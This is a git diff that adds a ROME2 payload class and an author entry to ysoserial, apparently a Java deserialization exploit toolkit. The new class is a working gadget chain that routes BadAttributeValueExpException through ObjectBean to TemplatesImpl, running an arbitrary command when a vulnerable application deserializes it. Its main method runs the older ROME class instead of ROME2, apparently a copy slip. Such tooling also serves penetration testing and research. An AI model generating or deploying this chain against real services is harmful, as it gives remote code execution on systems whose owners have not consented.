diff --git a/src/main/java/ysoserial/payloads/ROME2.java b/src/main/java/ysoserial/payloads/ROME2.java new file mode 100644 index 00000000..24dc5ad3 --- /dev/null +++ b/src/main/java/ysoserial/payloads/ROME2.java @@ -0,0 +1,36 @@ +package ysoserial.payloads; + +import com.sun.syndication.feed.impl.ObjectBean; +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; +import javax.management.BadAttributeValueExpException; +import javax.xml.transform.Templates; + +/** + * @author:Firebasky + * BadAttributeValueExpException.readObject() + * ToStringBean.toString() + * TemplatesImpl.getOutputProperties() + */ + +@Dependencies("rome:rome:1.0") +@Authors({ Authors.Firebasky }) +public class ROME2 implements ObjectPayload { + + public Object getObject ( String command ) throws Exception { + + Object o = Gadgets.createTemplatesImpl(command); + ObjectBean delegate = new ObjectBean(Templates.class, o); + BadAttributeValueExpException b = new BadAttributeValueExpException (""); + Reflections.setFieldValue (b, "val", delegate); + return b; + } + + public static void main ( final String[] args ) throws Exception { + PayloadRunner.run(ROME.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java index 2aa61a03..72a3f4af 100644 --- a/src/main/java/ysoserial/payloads/annotation/Authors.java +++ b/src/main/java/ysoserial/payloads/annotation/Authors.java @@ -30,6 +30,7 @@ String NAVALORENZO = "navalorenzo"; String JANG = "Jang"; String ARTSPLOIT = "artsploit"; + String Firebasky = "Firebasky"; String K4n5ha0 = "k4n5ha0"; String[] value() default {};